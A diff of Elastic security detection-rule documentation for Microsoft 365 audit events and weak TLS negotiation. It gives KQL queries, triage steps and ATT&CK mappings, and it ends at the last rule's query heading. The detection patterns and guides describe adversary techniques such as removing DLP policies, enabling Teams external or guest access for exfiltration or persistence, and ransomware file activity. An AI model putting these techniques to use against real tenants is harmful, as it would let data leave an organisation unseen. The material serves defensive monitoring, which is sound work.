+* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Exchange DLP Policy Deleted* + + +Data Loss Prevention (DLP) in Microsoft 365 Exchange is crucial for safeguarding sensitive information by monitoring and controlling data transfers. Adversaries may exploit this by removing DLP policies to bypass data monitoring, facilitating unauthorized data exfiltration. The detection rule identifies such actions by analyzing audit logs for specific events indicating successful DLP policy removal, thus alerting security teams to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-DlpPolicy" to identify the user account responsible for the action. +- Check the event.outcome field to confirm the success of the DLP policy removal and gather additional context from related logs. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies. +- Verify if the removed DLP policy was critical for protecting sensitive data and assess the potential impact of its removal. +- Contact the user or their manager to confirm if the DLP policy removal was authorized and legitimate. +- Examine any recent changes in permissions or roles for the user account to determine if they had the necessary privileges to remove the DLP policy. + + +*False positive analysis* + + +- Routine administrative changes to DLP policies by authorized personnel can trigger alerts. To manage this, maintain a list of authorized users and correlate their activities with policy changes to verify legitimacy. +- Scheduled updates or maintenance activities might involve temporary removal of DLP policies. Document these activities and create exceptions in the monitoring system for the duration of the maintenance window. +- Automated scripts or third-party tools used for policy management can inadvertently trigger false positives. Ensure these tools are properly documented and their actions are logged to differentiate between legitimate and suspicious activities. +- Changes in organizational policy or compliance requirements may necessitate the removal of certain DLP policies. Keep a record of such changes and adjust the monitoring rules to accommodate these legitimate actions. + + +*Response and remediation* + + +- Immediately isolate the affected Microsoft 365 account to prevent further unauthorized actions and data exfiltration. +- Review the audit logs to identify any additional unauthorized changes or suspicious activities associated with the account or related accounts. +- Restore the removed DLP policy from a backup or recreate it based on the organization's standard configuration to re-enable data monitoring. +- Conduct a thorough investigation to determine the scope of data exposure and identify any data that may have been exfiltrated during the period the DLP policy was inactive. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment measures are necessary. +- Implement enhanced monitoring and alerting for similar events, focusing on unauthorized changes to security policies and configurations. +- Review and strengthen access controls and permissions for accounts with the ability to modify DLP policies to prevent unauthorized changes in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-DlpPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc new file mode 100644 index 0000000000..a6e92b0aff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-security-compliance-potential-ransomware-activity]] +=== Deprecated - M365 Security Compliance Potential Ransomware Activity + +Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference +* https://www.microsoft.com/en-us/security/blog/threat-intelligence/ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Security Compliance Potential Ransomware Activity* + + +Microsoft 365's cloud services can be exploited by adversaries to distribute ransomware by uploading infected files. This detection rule leverages Microsoft Cloud App Security to identify suspicious uploads, focusing on successful events flagged as potential ransomware activity. By monitoring specific event datasets and actions, it helps security analysts pinpoint and mitigate ransomware threats, aligning with MITRE ATT&CK's impact tactics. + + +*Possible investigation steps* + + +- Identify the affected user account and review their recent file activity in Microsoft 365 for signs of mass file encryption, renaming with unusual extensions, or rapid file modifications. +- Examine the file names, extensions, and metadata of the flagged uploads to determine if they match known ransomware patterns (e.g., `.encrypted`, `.locked`, or ransom note files like `README.txt` or `DECRYPT_INSTRUCTIONS.html`). +- Correlate this alert with other security events from the same user or source IP, such as impossible travel, failed login attempts, or suspicious inbox rules, to identify potential account compromise. +- Check whether the affected user's endpoint shows signs of ransomware execution, such as high CPU usage, mass file system changes, or known ransomware process names. +- Review SharePoint or OneDrive file version history to determine the scope of encrypted or modified files and whether recovery via version rollback is possible. +- Contact the user to verify whether the activity is legitimate or if their account or device may have been compromised. + + +*False positive analysis* + + +- Legitimate file uploads by trusted users may trigger alerts if the files are mistakenly flagged as ransomware. To manage this, create exceptions for specific users or groups who frequently upload large volumes of files. +- Automated backup processes that upload encrypted files to the cloud can be misidentified as ransomware activity. Exclude these processes by identifying and whitelisting the associated service accounts or IP addresses. +- Certain file types or extensions commonly used in business operations might be flagged. Review and adjust the detection rule to exclude these file types if they are consistently identified as false positives. +- Collaborative tools that sync files across devices may cause multiple uploads that appear suspicious. Monitor and exclude these tools by recognizing their typical behavior patterns and adjusting the rule settings accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further uploads and potential spread of ransomware within the cloud environment. +- Quarantine the uploaded files flagged as potential ransomware to prevent access and further distribution. +- Conduct a thorough scan of the affected user's devices and cloud storage for additional signs of ransomware or other malicious activity. +- Notify the security operations team to initiate a deeper investigation into the source and scope of the ransomware activity. +- Restore any affected files from secure backups, ensuring that the backups are clean and free from ransomware. +- Review and update access controls and permissions for the affected user and related accounts to minimize the risk of future incidents. +- Escalate the incident to senior security management and, if necessary, involve legal or compliance teams to assess any regulatory implications. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:SecurityComplianceCenter and + event.category:web and + rule.name:("Ransomware activity" or "Potential ransomware activity") and + event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc new file mode 100644 index 0000000000..3224c9ec01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-security-compliance-unusual-volume-of-file-deletion]] +=== Deprecated - M365 Security Compliance Unusual Volume of File Deletion + +Identifies that a user has deleted an unusually large volume of files as reported by Microsoft Cloud App Security. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs + +*Version*: 214 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Security Compliance Unusual Volume of File Deletion* + + +Microsoft 365's cloud environment facilitates file storage and collaboration, but its vast data handling capabilities can be exploited by adversaries for data destruction. Attackers may delete large volumes of files to disrupt operations or cover their tracks. The detection rule leverages audit logs to identify anomalies in file deletion activities, flagging successful, unusual deletion volumes as potential security incidents, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific user associated with the alert to confirm the volume and context of the file deletions, focusing on entries with event.action:"Unusual volume of file deletion" and event.outcome:success. +- Correlate the timestamps of the deletion events with other activities in the user's account to identify any suspicious patterns or anomalies, such as unusual login locations or times. +- Check for any recent changes in user permissions or roles that might explain the ability to delete a large volume of files, ensuring these align with the user's typical responsibilities. +- Investigate any recent security alerts or incidents involving the same user or related accounts to determine if this activity is part of a broader attack or compromise. +- Contact the user or their manager to verify if the deletions were intentional and authorized, and gather any additional context that might explain the activity. +- Assess the impact of the deletions on business operations and data integrity, and determine if any recovery actions are necessary to restore critical files. + + +*False positive analysis* + + +- High-volume legitimate deletions during data migration or cleanup projects can trigger false positives. To manage this, create exceptions for users or groups involved in these activities during the specified time frame. +- Automated processes or scripts that perform bulk deletions as part of routine maintenance may be flagged. Identify these processes and whitelist them to prevent unnecessary alerts. +- Users with roles in data management or IT support may regularly delete large volumes of files as part of their job responsibilities. Establish a baseline for these users and adjust the detection thresholds accordingly. +- Temporary spikes in file deletions due to organizational changes, such as department restructuring, can be mistaken for malicious activity. Monitor these events and temporarily adjust the rule parameters to accommodate expected changes. +- Regularly review and update the list of exceptions to ensure that only legitimate activities are excluded from alerts, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized file deletions. This can be done by disabling the account or changing the password. +- Review the audit logs to identify the scope of the deletion and determine if any critical or sensitive files were affected. Restore these files from backups if available. +- Conduct a thorough review of the affected user's recent activities to identify any other suspicious actions or potential indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if the deletion is part of a larger attack or breach. +- Implement additional monitoring on the affected account and similar high-risk accounts to detect any further unusual activities. +- Review and update access controls and permissions to ensure that users have the minimum necessary access to perform their job functions, reducing the risk of large-scale deletions. +- Coordinate with the IT and security teams to conduct a post-incident review, identifying any gaps in the response process and implementing improvements to prevent recurrence. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Unusual volume of file deletion" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc new file mode 100644 index 0000000000..d4c51efd01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-security-compliance-user-restricted-from-sending-email]] +=== Deprecated - M365 Security Compliance User Restricted from Sending Email + +Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs + +*Version*: 214 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Security Compliance User Restricted from Sending Email* + + +Microsoft 365 enforces email sending limits to prevent abuse and ensure service integrity. Adversaries may exploit compromised accounts to send spam or phishing emails, triggering these limits. The detection rule monitors audit logs for successful restrictions by the Security Compliance Center, indicating potential misuse of valid accounts, aligning with MITRE ATT&CK's Initial Access tactic. + + +*Possible investigation steps* + + +- Review the audit logs in Microsoft 365 to confirm the event details, focusing on entries with event.dataset:o365.audit and event.provider:SecurityComplianceCenter to ensure the restriction was logged correctly. +- Identify the user account that was restricted by examining the event.action:"User restricted from sending email" and event.outcome:success fields to understand which account triggered the alert. +- Investigate the recent email activity of the restricted user account to determine if there was any unusual or suspicious behavior, such as a high volume of outbound emails or patterns consistent with spam or phishing. +- Check for any recent changes in account permissions or configurations that might indicate unauthorized access or compromise, aligning with the MITRE ATT&CK technique T1078 for Valid Accounts. +- Assess whether there are any other related alerts or incidents involving the same user or similar patterns, which could indicate a broader security issue or coordinated attack. + + +*False positive analysis* + + +- High-volume legitimate email campaigns by marketing or communication teams can trigger sending limits. Coordinate with these teams to understand their schedules and create exceptions for known campaigns. +- Automated systems or applications using Microsoft 365 accounts for sending notifications or alerts may exceed limits. Identify these accounts and consider using service accounts with appropriate permissions and limits. +- Users with delegated access to multiple mailboxes might inadvertently trigger restrictions. Review and adjust permissions or create exceptions for these users if their activity is verified as legitimate. +- Temporary spikes in email activity due to business needs, such as end-of-quarter communications, can cause false positives. Monitor these periods and adjust thresholds or create temporary exceptions as needed. +- Misconfigured email clients or scripts that repeatedly attempt to send emails can appear as suspicious activity. Ensure proper configuration and monitor for any unusual patterns that may need exceptions. + + +*Response and remediation* + + +- Immediately disable the compromised user account to prevent further unauthorized email activity and potential spread of phishing or spam. +- Conduct a password reset for the affected account and enforce multi-factor authentication (MFA) to enhance security and prevent future unauthorized access. +- Review the audit logs for any additional suspicious activities associated with the compromised account, such as unusual login locations or times, and investigate any anomalies. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Escalate the incident to the security operations team for further analysis and to determine if other accounts or systems have been compromised. +- Implement additional email filtering rules to block similar phishing or spam patterns identified in the incident to prevent recurrence. +- Update and enhance detection rules and monitoring to quickly identify and respond to similar threats in the future, leveraging insights from the current incident. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"User restricted from sending email" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-external-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-external-access-enabled.asciidoc new file mode 100644 index 0000000000..a2a194355d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-external-access-enabled.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-teams-external-access-enabled]] +=== Deprecated - M365 Teams External Access Enabled + +Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/manage-external-access + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Teams + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams External Access Enabled* + + +Microsoft Teams' external access feature allows users to communicate with individuals outside their organization, facilitating collaboration. However, adversaries can exploit this by enabling external access or adding trusted domains to exfiltrate data or maintain persistence. The detection rule monitors audit logs for changes in federation settings, specifically when external access is successfully enabled, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Set-CsTenantFederationConfiguration" to identify when and by whom the external access was enabled. +- Examine the o365.audit.Parameters.AllowFederatedUsers field to confirm that it is set to True, indicating that external access was indeed enabled. +- Investigate the user account associated with the event to determine if the action was authorized and if the account has a history of suspicious activity. +- Check the event.provider field to see if the change was made through SkypeForBusiness or MicrosoftTeams, which may provide additional context on the method used. +- Assess the event.outcome field to ensure the action was successful and not a failed attempt, which could indicate a potential security threat. +- Look into any recent changes in the list of allowed domains to identify if any unauthorized or suspicious domains have been added. + + +*False positive analysis* + + +- Routine administrative changes to federation settings can trigger alerts. Regularly review and document these changes to differentiate between legitimate and suspicious activities. +- Organizations with frequent collaboration with external partners may see increased alerts. Consider creating exceptions for known trusted domains to reduce noise. +- Scheduled updates or policy changes by IT teams might enable external access temporarily. Coordinate with IT to log these activities and exclude them from triggering alerts. +- Automated scripts or tools used for configuration management can inadvertently enable external access. Ensure these tools are properly documented and monitored to prevent false positives. +- Changes made during mergers or acquisitions can appear suspicious. Maintain a record of such events and adjust monitoring rules accordingly to account for expected changes. + + +*Response and remediation* + + +- Immediately disable external access in Microsoft Teams to prevent further unauthorized communication with external domains. +- Review and remove any unauthorized or suspicious domains added to the allowed list in the Teams federation settings. +- Conduct a thorough audit of recent changes in the Teams configuration to identify any other unauthorized modifications or suspicious activities. +- Reset credentials and enforce multi-factor authentication for accounts involved in the configuration change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of data exfiltration or if the scope of the breach is unclear. +- Implement enhanced monitoring and alerting for changes in Teams federation settings to detect similar threats in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTenantFederationConfiguration" and +o365.audit.Parameters.AllowFederatedUsers:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-guest-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-guest-access-enabled.asciidoc new file mode 100644 index 0000000000..461fa83859 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-teams-guest-access-enabled.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-teams-guest-access-enabled]] +=== Deprecated - M365 Teams Guest Access Enabled + +Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/skype/get-csteamsclientconfiguration?view=skype-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Teams + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams Guest Access Enabled* + + +Microsoft Teams allows organizations to collaborate with external users through guest access, facilitating communication and teamwork. However, adversaries can exploit this feature to gain persistent access to sensitive environments by enabling guest access without authorization. The detection rule monitors audit logs for specific configurations that indicate guest access has been enabled, helping identify unauthorized changes and potential security breaches. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the event.action "Set-CsTeamsClientConfiguration" was successfully executed with the parameter o365.audit.Parameters.AllowGuestUser set to True. +- Identify the user account responsible for enabling guest access by examining the event logs for the user ID or account name associated with the action. +- Check the user's activity history to determine if there are any other suspicious actions or patterns, such as changes to other configurations or unusual login times. +- Investigate the context of the change by reviewing any related communications or requests that might justify enabling guest access, ensuring it aligns with organizational policies. +- Assess the potential impact by identifying which teams and channels now have guest access enabled and evaluate the sensitivity of the information accessible to external users. +- Contact the user or their manager to verify if the change was authorized and necessary, and document their response for future reference. + + +*False positive analysis* + + +- Legitimate collaboration with external partners may trigger alerts when guest access is enabled for business purposes. To manage this, create exceptions for known and approved external domains or specific projects that require guest access. +- Routine administrative actions by IT staff to enable guest access for specific teams or channels can be mistaken for unauthorized changes. Implement a process to log and approve such changes internally, and exclude these from triggering alerts. +- Automated scripts or third-party applications that configure Teams settings, including guest access, might cause false positives. Identify and whitelist these scripts or applications to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows can be misinterpreted as unauthorized. Define and exclude these time periods from monitoring to reduce false positives. + + +*Response and remediation* + + +- Immediately disable guest access in Microsoft Teams by updating the Teams client configuration to prevent unauthorized external access. +- Conduct a thorough review of recent audit logs to identify any unauthorized changes or suspicious activities related to guest access settings. +- Notify the security team and relevant stakeholders about the potential breach to ensure awareness and initiate further investigation. +- Revoke any unauthorized guest accounts that have been added to Teams to eliminate potential persistence mechanisms. +- Implement additional monitoring on Teams configurations to detect any future unauthorized changes to guest access settings. +- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if further containment actions are necessary. +- Review and update access control policies to ensure that enabling guest access requires appropriate authorization and oversight. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTeamsClientConfiguration" and +o365.audit.Parameters.AllowGuestUser:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-tls-version-or-weak-cipher-negotiated-externally.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-tls-version-or-weak-cipher-negotiated-externally.asciidoc new file mode 100644 index 0000000000..232ad864aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-tls-version-or-weak-cipher-negotiated-externally.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-deprecated-tls-version-or-weak-cipher-negotiated-externally]] +=== Deprecated TLS Version or Weak Cipher Negotiated Externally + +Identifies successful outbound TLS sessions that negotiate deprecated protocol versions (SSLv3, TLS 1.0, or TLS 1.1) or weak cipher suites such as RC4, 3DES, NULL, EXPORT, or anonymous Diffie-Hellman. Adversaries-in-the-middle and legacy malware often force these negotiations to decrypt or intercept traffic. Modern clients and services should negotiate TLS 1.2 or 1.3 with strong ciphers on internet-bound connections. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.tls-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1557/ +* https://www.elastic.co/docs/reference/integrations/network_traffic +* https://www.elastic.co/docs/reference/ecs/ecs-tls +* https://www.rfc-editor.org/rfc/rfc9325.html + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Data Source: Network Traffic +* Tactic: Credential Access +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated TLS Version or Weak Cipher Negotiated Externally* + + +TLS downgrade and weak-cipher negotiation expose sessions to interception or decryption. This rule flags completed +outbound TLS handshakes from internal hosts to external destinations that negotiated SSLv3, TLS 1.0, TLS 1.1, or a +cipher suite containing RC4, 3DES, NULL, EXPORT, or anonymous key exchange material. + + +*Possible investigation steps* + + +- Review `source.ip`, `destination.ip`, `destination.port`, `tls.version`, `tls.version_protocol`, and `tls.cipher`. +- Determine whether the destination is a known legacy partner, vendor appliance, or unmanaged IoT device. +- Check for concurrent alerts on the source host (credential access, C2, or proxy manipulation). +- Compare against baseline: does this destination normally negotiate modern TLS from other clients? + + +*False positive analysis* + + +- Exclude validated legacy B2B endpoints, mainframe gateways, or SCADA systems that cannot be upgraded immediately. +- Some older mobile or embedded clients may still offer weak ciphers even when connecting to modern services; confirm + whether the server accepted the weak option (this rule requires `tls.established:true`). + + +*Response and remediation* + + +- Block or proxy traffic to the destination if downgrade appears attacker-driven. +- Patch or replace the client or server that accepted deprecated TLS. +- Enable TLS 1.2+ minimums on egress proxies and inspect for MITM appliances forcing weak negotiation. + + +==== Setup + + + +*Setup* + + +This rule requires TLS metadata from the Elastic network_traffic integration (`network_traffic.tls` data stream) that +populates ECS `tls.version`, `tls.version_protocol`, `tls.cipher`, and `tls.established` fields. + + +==== Rule query + 